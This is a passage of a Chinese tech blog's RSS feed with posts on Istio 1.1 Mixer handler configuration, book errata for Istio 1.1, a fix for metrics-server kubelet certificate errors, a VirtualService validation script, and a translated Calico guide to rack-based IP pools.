&lt;p&gt;这里发现了一个无法识别的属性：&lt;code&gt;destination.service&lt;/code&gt;。翻查文档发现，该属性在 &lt;a href=&#34;https://archive.istio.io/v1.0/docs/reference/config/policy-and-telemetry/attribute-vocabulary/#deprecated-attributes&#34; target=&#34;_blank&#34;&gt;Istio 1.0 的 Reference&lt;/a&gt; 中声明即将过期;在 1.1 中已经停用，因此将其改为 &lt;code&gt;destination.service.host&lt;/code&gt; 即可正常使用。更新代码已经上传到随书代码库的 &lt;a href=&#34;https://github.com/fleeto/istio-for-beginner/tree/1.1&#34; target=&#34;_blank&#34;&gt;1.1 分支&lt;/a&gt;中的第八章内容里。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 1.1 中的 Handler</title>
      <link>/post/handler-in-istio-1-1/</link>
      <pubDate>Fri, 22 Mar 2019 19:18:15 +0800</pubDate>
      <guid>/post/handler-in-istio-1-1/</guid>
      <description>&lt;p&gt;一直觉得 Mixer 的功能会比较不稳定，这次在&lt;a href=&#34;https://item.jd.com/12527008.html&#34; target=&#34;_blank&#34;&gt;《深入浅出 Istio》&lt;/a&gt;一书的的验证过程中发现，Prometheus 的部分无法工作了，因此今天排查一下，也因此有了些收获，这里做一个简单的记录。&lt;/p&gt;

&lt;p&gt;首先我发现，&lt;strong&gt;istio-system 中系统默认安装的 Prometheus 资源不见了&lt;/strong&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;$ kubectl get prometheus --all-namespaces
No resources found.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;但是好在相关的 Rule 还在，写法有了一些变化，例如 &lt;code&gt;istio-system&lt;/code&gt; 中的 &lt;code&gt;promtcp&lt;/code&gt; 的定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: rule
metadata:
...
  name: promtcp
  namespace: istio-system
spec:
  actions:
  - handler: prometheus
    instances:
    - tcpbytesent.metric
    - tcpbytereceived.metric
  match: context.protocol == &amp;quot;tcp&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;过去我们习惯的 Handler 填写一般会是 &lt;code&gt;handler.prometheus&lt;/code&gt;，也就是名为 handler 的 prometheus 资源。例如&lt;a href=&#34;https://istio.io/docs/tasks/telemetry/metrics/collecting-metrics/#collecting-new-metrics&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;中的写法：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# Rule to send metric instances to a Prometheus handler
apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: rule
metadata:
  name: doubleprom
  namespace: istio-system
spec:
  actions:
  - handler: doublehandler.prometheus
    instances:
    - doublerequestcount.metric
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;很明显的，1.1 的用法发生了变更，这个新用法中并没有提及对象名称，只知道名字是 &lt;code&gt;prometheus&lt;/code&gt;。在 Istio 1.1 的 Helm 源码中搜索一下 &lt;code&gt;name: prometheus&lt;/code&gt; 就会看到，在 &lt;code&gt;helm/istio/charts/mixer/templates/config.yaml&lt;/code&gt; 中定义了一个对象，一个 &lt;code&gt;handler&lt;/code&gt; 类型的对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: handler
metadata:
  name: prometheus
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样就可以查查他的定义了，运行 &lt;code&gt;kubectl get -n istio-system handler prometheus -o yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: handler
metadata:
...
  name: prometheus
  namespace: istio-system
...
spec:
  compiledAdapter: prometheus
  params:
    metrics:
    - instance_name: requestcount.metric.istio-system
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;是的，这个名为 &lt;code&gt;prometheus&lt;/code&gt; 的 &lt;code&gt;handler&lt;/code&gt; 对象和以前几乎一毛一样。现在有两种定义 Prometheus 的 Handler 了，对此&lt;a href=&#34;https://discuss.istio.io/t/promethues-or-handler/1547&#34; target=&#34;_blank&#34;&gt;开发给出的解释&lt;/a&gt;是，并非所有 Adapter 都会创建自己的 CRD，因此推荐共用的 Handler 类型来进行定义。&lt;/p&gt;

&lt;p&gt;在 &lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/istio.policy.v1beta1/#Handler&#34; target=&#34;_blank&#34;&gt;Reference&lt;/a&gt; 中对这一对象做了个大概的讲解。需要注意其中的 &lt;code&gt;compiledAdapter: prometheus&lt;/code&gt;，用于指定 Adapter 类型。其中使用 &lt;code&gt;compiledAdapter&lt;/code&gt; 和 &lt;code&gt;adapter&lt;/code&gt; 两个字段分别用于描述进程内外的两种适配器类型。&lt;/p&gt;

&lt;p&gt;因此在 1.1 中，Handler 真正的成为了 Handler，下面给出一个简单的定义，来讲解一下自定义指标中，新 Handler 的定义方法，其中给指标定义名称为 &lt;code&gt;cxl_counter&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: handler
metadata:
  labels:
    app: mixer
    chart: mixer
    heritage: Tiller
    release: istio
  name: prometheus
spec:
  compiledAdapter: prometheus
  params:
    metrics:
      - instance_name: cxl.metric.default
        kind: COUNTER
        label_names:
          - source_app
          - source_workload
          - source_workload_namespace
          - source_version
          - destination_app
          - destination_workload
          - destination_workload_namespace
          - destination_version
          - destination_service
          - destination_service_name
          - destination_service_namespace
          - reporter
          - response_code
        name: cxl_counter
    metricsExpirationPolicy:
      metricsExpiryDuration: 10m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;原有 Handler 的定义方式，同样的指标，定义为 &lt;code&gt;double_counter&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: prometheus
metadata:
  name: handler
spec:
  metrics:
    - instance_name: cxl.metric.default
      kind: COUNTER
      label_names:
        - source_app
        - source_workload
        - source_workload_namespace
        - source_version
        - destination_app
        - destination_workload
        - destination_workload_namespace
        - destination_version
        - destination_service
        - destination_service_name
        - destination_service_namespace
        - reporter
        - response_code
      name: double_counter
  metricsExpirationPolicy:
    metricsExpiryDuration: 10m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用一个 Rule，将同样的指标分别输出到两个 Handler 之中：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: rule
metadata:
  name: prom-http
spec:
  actions:
    - handler: prometheus
      instances:
        - cxl.metric
    - handler: handler.prometheus
      instances:
        - cxl.metric
  match: context.protocol == &amp;quot;http&amp;quot; || context.protocol == &amp;quot;grpc&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而指标的定义不变：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: metric
metadata:
  name: cxl
spec:
  dimensions:
    destination_app: destination.labels[&amp;quot;app&amp;quot;] | &amp;quot;unknown&amp;quot;
    destination_service: destination.service.host | &amp;quot;unknown&amp;quot;
    destination_service_name: destination.service.name | &amp;quot;unknown&amp;quot;
    destination_service_namespace: destination.service.namespace | &amp;quot;unknown&amp;quot;
    destination_version: destination.labels[&amp;quot;version&amp;quot;] | &amp;quot;unknown&amp;quot;
    destination_workload: destination.workload.name | &amp;quot;unknown&amp;quot;
    destination_workload_namespace: destination.workload.namespace | &amp;quot;unknown&amp;quot;
    source_app: source.labels[&amp;quot;app&amp;quot;] | &amp;quot;unknown&amp;quot;
    source_version: source.labels[&amp;quot;version&amp;quot;] | &amp;quot;unknown&amp;quot;
    source_workload: source.workload.name | &amp;quot;unknown&amp;quot;
    source_workload_namespace: source.workload.namespace | &amp;quot;unknown&amp;quot;
    reporter:
      conditional((context.reporter.kind | &amp;quot;inbound&amp;quot;) == &amp;quot;outbound&amp;quot;, &amp;quot;source&amp;quot;,
      &amp;quot;destination&amp;quot;)
    response_code: response.code | 200
  monitored_resource_type: &#39;&amp;quot;UNSPECIFIED&amp;quot;&#39;
  value: &amp;quot;2&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;制造请求之后，会发现新旧 Handler 同时工作，并用各自的名字写入了指标。在 Prometheus 中即可查看。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里真的要吐槽一句，Metric 定义中的所有 Label 需要照抄到 Handler 定义中，映射关系出错的时候，出的不是 Warning，而是 Panic。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;涉及到的代码已经更新到版本库的 &lt;a href=&#34;https://github.com/fleeto/istio-for-beginner/tree/1.1&#34; target=&#34;_blank&#34;&gt;1.1 分支&lt;/a&gt;的第八章内容里。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>《深入浅出 Istio》在 Istio 1.1 中的一些已知情况</title>
      <link>/post/istio-book-update-for-1-1/</link>
      <pubDate>Wed, 20 Mar 2019 23:51:05 +0800</pubDate>
      <guid>/post/istio-book-update-for-1-1/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://item.jd.com/12527008.html&#34; target=&#34;_blank&#34;&gt;《深入浅出 Istio》&lt;/a&gt;在编写之初，我大致估算了成书可能所需的工作量和完成时间，也预计了一下 Istio 1.1 可能的发布时间以及大略的变动范围，因此定下了入门书的调性。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://blog.fleeto.us/post/servicemesh-and-chasm/&#34; target=&#34;_blank&#34;&gt;Istio 1.1 推出&lt;/a&gt;后，就在第一时间进行了安装部署，对书中所涉代码进行了验证，一来是给读者一个交代，二来也是做个准备，根据 Istio 1.1 的变动，对本书进行更新。&lt;/p&gt;

&lt;p&gt;验证结果如下：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;章节&lt;/th&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;7.8&lt;/td&gt;
&lt;td&gt;重试无法工作&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/networking/v1alpha3/virtual-service/#HTTPRetry&#34; target=&#34;_blank&#34;&gt;HTTPRetry&lt;/a&gt; 结构发生变更。加入 &lt;code&gt;retryOn: 5xx&lt;/code&gt; 即可。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;7.11&lt;/td&gt;
&lt;td&gt;1.11 中的 Helm chart 结构已经改变，不再适用。&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;8.4、8.5&lt;/td&gt;
&lt;td&gt;限流不可用&lt;/td&gt;
&lt;td&gt;正在排查中&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;8.6&lt;/td&gt;
&lt;td&gt;Prometheus 监控指标定义失败&lt;/td&gt;
&lt;td&gt;1.1 中的指标定义发生部分变化&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;RBAC 等相关对象发生大量变更，部分对象失效&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;如上表所示，除 7.8 节的问题很明确之外，其它问题的解决过程也会尽快的逐步更新出来。&lt;/p&gt;

&lt;p&gt;随书代码已经新建 1.1 分支。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>鸿沟前的服务网格—Istio 1.1 新特性预览</title>
      <link>/post/servicemesh-and-chasm/</link>
      <pubDate>Wed, 13 Mar 2019 17:35:21 +0800</pubDate>
      <guid>/post/servicemesh-and-chasm/</guid>
      <description>

&lt;h2 id=&#34;引子&#34;&gt;引子&lt;/h2&gt;

&lt;p&gt;这几天拜读了灵雀云出品的一篇文章：&lt;a href=&#34;http://dockone.io/article/8666&#34; target=&#34;_blank&#34;&gt;《从“鸿沟理论”看云原生》&lt;/a&gt;，其中有两段关于 Istio 的陈述，我深感赞同：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;在 Control Plane，Istio 是最具光环的明星级项目。它正在引领 Service Mesh 创造出一个全新的市场，不过从传播周期看现在还没有跨过技术鸿沟，处于 Early adopters 阶段。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在开源领域，并不存在对Istio有实质性威胁的竞品。可能在经历了 Kubernetes 之后，以及 Istio 早期迅猛的发展和在社区中巨大的影响力之下，很少有开源项目愿意在 Control Plane 和 Istio 正面交锋。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;按照我对 Istio 的理解，正如该文所说，正处于鸿沟一侧，正是从早期采用者到早期大众之间关键阶段。然而这一系统的情况又比较特殊，Service Mesh 的饼，虽说是 Linkerd 画出来的，然而真正把饼变大的，正是 Istio。Istio 画了硕大无朋的饼之后，就步步泥潭，功能薄弱、进度拖沓，让包括我在内的众多用户大摇其头。然而，画饼的另一面，就是挖坑——Istio 放出的漫天卫星，极大的吊起了各种用户的胃口，可以说是用先声夺人的方式，强行提高了门槛，要想赶超 Istio，首先就要接班，完成 Istio 的各种承诺，才能满足用户心目中对 Service Mesh 的“基本”期待。&lt;/p&gt;

&lt;h2 id=&#34;istio-1-1&#34;&gt;Istio 1.1&lt;/h2&gt;

&lt;p&gt;Istio 自然还是在努力的完成满足早期用户要求的基础上，加强对早期大众的吸引。自 2018 年 7 月发布 1.0 之后，经过近 8 个月的漫长等待，千呼万唤的 1.1 又做出了什么样的变化，来帮助 Istio 来达成这样的目标呢？下面会介绍一些我所关注的 Istio 1.1 新特性。&lt;/p&gt;

&lt;h3 id=&#34;缺省关闭-mixer-策略检查&#34;&gt;缺省关闭 Mixer 策略检查&lt;/h3&gt;

&lt;p&gt;从 Istio 的早期版本开始，关于如何关闭 Mixer 策略检查的讨论就没有停止过，现在社区已经达成共识，绝大多数场景中，对性能的需求，其重要性是大于对预检功能的需求的，因此 1.1 版本中，缺省安装会关闭 Mixer 的这一功能。&lt;/p&gt;

&lt;h3 id=&#34;缺省开放-egress-通信&#34;&gt;缺省开放 Egress 通信&lt;/h3&gt;

&lt;p&gt;新增 &lt;code&gt;global.outboundTrafficPolicy.mode&lt;/code&gt; 参数，用于定制 Egress 通信的缺省行为，目前的缺省值为 &lt;code&gt;ALLOW_ANY&lt;/code&gt;，即允许全部 Egress 通信。&lt;/p&gt;

&lt;h3 id=&#34;新增-sidecar-资源&#34;&gt;新增 Sidecar 资源&lt;/h3&gt;

&lt;p&gt;目前版本中，Sidecar 会包含整个网格内的服务信息，在 1.1 中，新建了 Sidecar 资源，通过对这一 CRD 的配置，不但能够限制 Sidecar 的相关服务的数量，从而降低资源占用，提高传播效率；还能方便的对 Sidecar 的代理行为做出更多的精细控制——例如对 Ingress 场景中的被代理端点的配置能力。&lt;/p&gt;

&lt;h3 id=&#34;exportto&#34;&gt;ExportTo&lt;/h3&gt;

&lt;p&gt;多个路由管理对象加入了这一字段，用于指定该资源的生效范围。&lt;/p&gt;

&lt;h3 id=&#34;路由的区域感知能力&#34;&gt;路由的区域感知能力&lt;/h3&gt;

&lt;p&gt;新增了对 AZ/Region 等的区域感知能力，降低跨区请求造成的性能损耗。&lt;/p&gt;

&lt;h3 id=&#34;对-tcp-服务提供鉴权支持&#34;&gt;对 TCP 服务提供鉴权支持&lt;/h3&gt;

&lt;p&gt;在既有的 HTTP/gRPC 之外，又为 TCP 服务提供了 RBAC 功能。&lt;/p&gt;

&lt;h3 id=&#34;引入-sds-完成证书流程&#34;&gt;引入 SDS 完成证书流程&lt;/h3&gt;

&lt;p&gt;弃用原有的 Citadel-&amp;gt;Secret-&amp;gt;Sidecar 的证书流程，改用 Secret Discovery Service 完成。从而降低了安全风险，并且更新证书也无需重新启动了。&lt;/p&gt;

&lt;h2 id=&#34;硬广&#34;&gt;硬广&lt;/h2&gt;

&lt;p&gt;拙作《深入浅出 Istio》是基于 1.0.x 版本编写，目前已经将绝大多数 YAML 源码上传至 Github，目测绝大多数功能在 1.1 上是可用的；预备在 Istio 1.1 正式发布后，逐章进行校验。在征得出版方同意之后，会以补充文档的方式，在 Github 上，进行勘误以及增补，以保障本书相关内容的及时性。&lt;/p&gt;

&lt;h3 id=&#34;购买链接&#34;&gt;购买链接&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;qr-book.png&#34; alt=&#34;jd&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;代码仓库链接&#34;&gt;代码仓库链接&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;qr-repo.png&#34; alt=&#34;repo&#34; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>从 Metric Server 到 Kubelet 服务证书</title>
      <link>/post/from-metric-server/</link>
      <pubDate>Wed, 27 Feb 2019 21:30:31 +0800</pubDate>
      <guid>/post/from-metric-server/</guid>
      <description>&lt;p&gt;很少用 Kubeadm，一直用自有 CA 签发证书，所以 TLS Bootstrap 也极少接触，然后乐子就来了。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ git clone https://github.com/kubernetes-incubator/metrics-server.git
$ cd metrics-server/deploy/1.8+
$ kubectl apply -f .
clusterrole.rbac.authorization.k8s.io/system:aggregated-metrics-reader created
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl top nodes&lt;/code&gt;，返回的永远都是 &lt;code&gt;error: metrics not available yet&lt;/code&gt;。&lt;code&gt;kubectl logs metrics-server-fc6d4999b-58xtc&lt;/code&gt; 查看日志，其中大量的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;unable to fetch metrics from Kubelet node-standard-3 (node-standard-3): Get https://node-standard-3:10250/stats/summary/: x509: certificate signed by unknown authority]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查一下，很明显，kubelet 提供的 https 服务使用了未经认可的 CA：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ openssl s_client -showcerts -connect node-standard-3:10250
...
    Verify return code: 19 (self signed certificate in certificate chain)
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Metric Server 支持一个参数 &lt;code&gt;--kubelet-insecure-tls&lt;/code&gt;，可以跳过这一检查，然而官方也明确说了，这种方式不推荐生产使用。&lt;/p&gt;

&lt;p&gt;这时候我又想到个问题，那 API Server 是怎么访问 Kubelet 的？最后我看到，API Server 中有一行注释：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Proxying to pods and services is IP-based... don&#39;t expect to be able to verify the hostname
proxyTLSClientConfig := &amp;amp;tls.Config{InsecureSkipVerify: true}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;那么问题来了，如何让 Kubelet 具备一个“正式”的证书，让各种组件可以放心的使用 TLS 进行访问呢？查阅资料发现，目前的 kubeadm 流程中，kubelet 的 Bootstrap 因为节点动态的原因，已经不再自动完成 Kubelet 服务端点的证书签发了，使用统一 CA 自行签署，或者恢复 Bootstrap 中的服务证书申请流程，也就能完成任务了。&lt;/p&gt;

&lt;p&gt;Kubelet 的 &lt;code&gt;config.yaml&lt;/code&gt; 中加入一行：&lt;code&gt;serverTLSBootstrap: true&lt;/code&gt;，即可启动这一过程。重启 Kubelet，会发现出现了新的 CSR：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get csr
NAME        AGE     REQUESTOR                     CONDITION
csr-f29hk   5s      system:node:node-standard-2   Pending
csr-n9pvr   3m31s   system:node:node-standard-3   Pending
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果使用 &lt;code&gt;base64 -d&lt;/code&gt; 对 csr 的 request 字段做解码，并查看其请求内容的话，会发现：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ openssl req -in csr.pem -noout -text
...
X509v3 Subject Alternative Name:
                DNS:node-standard-2, IP Address:10.211.55.28
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;证书请求中已经带有了 SAN 记录。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl certificate approve csr-n9pvr
certificatesigningrequest.certificates.k8s.io/csr-n9pvr approved
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过之后，Kubelet 就有了使用 API Server 的 CA 签发的证书了。&lt;/p&gt;

&lt;p&gt;稍等片刻，再次执行 &lt;code&gt;kubectl top nodes&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl top nodes
NAME              CPU(cores)   CPU%   MEMORY(bytes)   MEMORY%
node-standard-1   213m         10%    1220Mi          70%
node-standard-2   71m          3%     361Mi           20%
node-standard-3   61m          3%     355Mi           20%
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>VirtualService 的校验脚本</title>
      <link>/post/virtualservice-validator/</link>
      <pubDate>Fri, 22 Feb 2019 20:59:42 +0800</pubDate>
      <guid>/post/virtualservice-validator/</guid>
      <description>&lt;p&gt;Istio 的流量控制功能中，&lt;code&gt;VirtualService&lt;/code&gt; 和 &lt;code&gt;DestinationRule&lt;/code&gt; 对象之间具有很强的关联性；另外这些规则需要用标签的形式落地到 Kubernetes 中的 &lt;code&gt;Service&lt;/code&gt; 和 &lt;code&gt;Pod&lt;/code&gt; 中，很多时候因为操作不慎导致的一点小错误，例如标签错误、缺少 &lt;code&gt;subset&lt;/code&gt; 定义、选择器冲突等，都会导致功能完全失效，因此就写了这个小脚本，从头到尾检查一遍相关配置。用法很简单：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;./virtual-service-scanner.py flaskapp-default-v2
Validating VirtualService: flaskapp-default-v2
Destinations referenced: {&#39;flaskapp.default.svc.cluster.local&#39;: [&#39;v2&#39;, &#39;v3&#39;]}
Fetching all destination rules in current namespace.
Validating subsets of host flaskapp.default.svc.cluster.local
Service label is: {&#39;app&#39;: &#39;flaskapp&#39;}
Subset label is: {&#39;version&#39;: &#39;v2&#39;}
Pod selector: app=flaskapp,version=v2
1 pods found
Traceback (most recent call last):
  File &amp;quot;./virtual-service-scanner.py&amp;quot;, line 148, in &amp;lt;module&amp;gt;
    main()
  File &amp;quot;./virtual-service-scanner.py&amp;quot;, line 88, in main
    verify_virtualservice(args.object_name, kubectl_command)
  File &amp;quot;./virtual-service-scanner.py&amp;quot;, line 117, in verify_virtualservice
    &amp;quot;Subset {} isn&#39;t defined.&amp;quot;.format(subset_name)
AssertionError: Subset v3 isn&#39;t defined.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;virtual-service-scanner.py [VirtualService]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;会根据其中引用的 &lt;code&gt;host&lt;/code&gt;、&lt;code&gt;subset&lt;/code&gt; 对其依赖的 &lt;code&gt;DestinationRule&lt;/code&gt;、&lt;code&gt;Service&lt;/code&gt; 以及 &lt;code&gt;Pod&lt;/code&gt; 进行逐一检查，如果其中有环节无法通过，脚本会出错退出，例如上面的例子中，&lt;code&gt;VirtualService&lt;/code&gt; 引用了不存在的 &lt;code&gt;subset&lt;/code&gt;： &lt;code&gt;v3&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;项目地址：&lt;a href=&#34;https://github.com/fleeto/vs-scanner&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Calico 3.5：根据节点标签分配 IP 地址</title>
      <link>/post/calico-assigning-ip/</link>
      <pubDate>Fri, 08 Feb 2019 11:15:50 +0800</pubDate>
      <guid>/post/calico-assigning-ip/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://docs.projectcalico.org/v3.5/usage/assigning-ip-addresses-topology&#34; target=&#34;_blank&#34;&gt;Assigning IP addresses based on topology&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;关于-ip-地址的分配&#34;&gt;关于 IP 地址的分配&lt;/h2&gt;

&lt;p&gt;Calico 能够进行配置，为不同拓扑指定 IP 地址池。例如可能希望某些机架、地区、或者区域能够从同一个 IP 池中获取地址。这对于降低路由数量或者配合防火墙策略的要求会很有帮助。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://docs.projectcalico.org/v3.5/reference/cni-plugin/configuration#ipam&#34; target=&#34;_blank&#34;&gt;cni 插件配置参考中的 IP 地址管理章节&lt;/a&gt;中包含了三种分配 IP 地址的方式。Kubernetes 注解方式只能用于 Namespace 或者 Pod 一级。剩下的只有两个办法，CNI 配置或者是基于节点选择器的 IP 池，相对于 CNI 配置的方式来说，节点选择器方案省去了修改本地文件的麻烦。&lt;/p&gt;

&lt;p&gt;在更高层次上，基于节点选择器的 IP 地址分配方法就是给节点设置标签，然后用节点选择器选择对应的 IP 地址池进行分配。后面的内容中将给出一个详细的例子，用这种方式来设置一种机架亲和方式的 IP 地址分配方案。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;如果 Calico 无法根据上述顺序来决定一个 IP 地址池，或者在选定的地址池中找不到可用的 IP 地址，那么这一工作负载就不会分到 IP 地址，无法启动。为了防止这种情况的发生，我们建议所有节点至少有一个合适的地址池。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;先决条件&#34;&gt;先决条件&lt;/h2&gt;

&lt;p&gt;这一功能需要 Calico 在 ETCD 模式下工作。&lt;/p&gt;

&lt;h2 id=&#34;示例-kubernetes&#34;&gt;示例：Kubernetes&lt;/h2&gt;

&lt;p&gt;本例中，我们会创建一个集群，其中包含四个节点，分布在两个机架上，每个机架各两台。示意如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;       -------------------
       |    router       |
       -------------------
       |                 |
---------------   ---------------
| rack-0      |   | rack-1      |
---------------   ---------------
| kube-node-0 |   | kube-node-2 |
- - - - - - - -   - - - - - - - -
| kube-node-1 |   | kube-node-3 |
- - - - - - - -   - - - - - - - -
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod IP 地址范围为 &lt;code&gt;192.168.0.0/16&lt;/code&gt;，我们进行如下设计：保留 &lt;code&gt;192.168.0.0/24&lt;/code&gt; 给 &lt;code&gt;rack-0&lt;/code&gt;, &lt;code&gt;192.168.1.0/24&lt;/code&gt; 给 &lt;code&gt;rack-1&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;要设置一个没有缺省地址池的的 Calico，首先运行 &lt;code&gt;calicoctl get ippool -o wide&lt;/code&gt;，会看到已经创建了一个 &lt;code&gt;192.168.0.0/16&lt;/code&gt; 的地址池：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;NAME                  CIDR             NAT    IPIPMODE   DISABLED   SELECTOR
default-ipv4-ippool   192.168.0.0/16   true   Always     false      all()
&lt;/code&gt;&lt;/pre&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;删除缺省地址池&lt;/p&gt;

&lt;p&gt;&lt;code&gt;default-ipv4-ippool&lt;/code&gt; 地址池已经存在，并占据了整个 &lt;code&gt;/16&lt;/code&gt; 块，因此必须删除：&lt;code&gt;calicoctl delete ippools default-ipv4-ippool&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;给 Node 打标签。&lt;/p&gt;

&lt;p&gt;要给特定节点分配地址池，节点必须用标签进行标识：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl label nodes kube-node-0 rack=0
kubectl label nodes kube-node-1 rack=0
kubectl label nodes kube-node-2 rack=1
kubectl label nodes kube-node-3 rack=1
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;为每个机架创建地址池&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;calicoctl create -f -&amp;lt;&amp;lt;EOF
apiVersion: projectcalico.org/v3
kind: IPPool
metadata:
  name: rack-0-ippool
spec:
  cidr: 192.168.0.0/24
  ipipMode: Always
  natOutgoing: true
  nodeSelector: rack == &amp;quot;0&amp;quot;
EOF
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;calicoctl create -f -&amp;lt;&amp;lt;EOF
apiVersion: projectcalico.org/v3
kind: IPPool
metadata:
  name: rack-1-ippool
spec:
  cidr: 192.168.1.0/24
  ipipMode: Always
  natOutgoing: true
  nodeSelector: rack == &amp;quot;1&amp;quot;
EOF
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在就创建了两个地址池，使用 &lt;code&gt;calicoctl get ippool -o wide&lt;/code&gt; 进行查看：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;NAME                  CIDR             NAT    IPIPMODE   DISABLED   SELECTOR
rack-1-ippool         192.168.0.0/24   true   Always     false      rack == &amp;quot;0&amp;quot;
rack-2-ippool         192.168.1.0/24   true   Always     false      rack == &amp;quot;1&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

